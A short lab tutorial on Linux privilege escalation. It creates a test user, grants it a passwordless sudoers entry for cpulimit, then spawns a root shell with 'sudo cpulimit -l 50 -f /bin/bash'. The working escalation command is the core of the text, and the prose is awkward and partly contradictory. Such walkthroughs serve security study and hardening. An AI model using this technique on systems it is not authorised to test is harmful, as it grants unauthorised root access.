How to exploit sudoers entry cpulimit command Sudo Privilege Escalation
Our first step is Setup cpulimit Privilege Escalation sudoers file entry
It allows a system administrator to interrupt the execution of a process (or process group) if the CPU/system load goes beyond a defined threshold. Here, we will learn how to use a similar tool called cpulimit.
Cpulimit is used to restrict the CPU usage of a process in the same way as CPUTool, however, it offers more usage options compared to its counterpart. One important difference is that cpulimit doesn’t manage system load unlike CPU tool
I add a user hacker for testing and id command to check hacker user group-id and user-id and check our new user for sudo command with sudo su and see the error is user hacker is not allowed to execute /bin/bash as root
id
Sudo su command we see user hacker is now allowed to execute /bin/su
sudo su (mean change current user change to the root user)

For lag setup sudoers rights privilege escalation
Now open your sudoers file this command for adding our user sudoers file for cpulimit root
sudo visudo
hacker ALL=(root) NOPASSWD: /usr/bin/cpulimit

sudo -l (check sudoers file entry which file run as root without a password root)

Privilege Escalation cpulimit
CPUlimit: cpulimit is a simple command-line CPU control application of Linux
sudo cpulimit -l 50 -f /bin/bash (run the command your terminal )

After run, the command got a root shell check with the id command
id

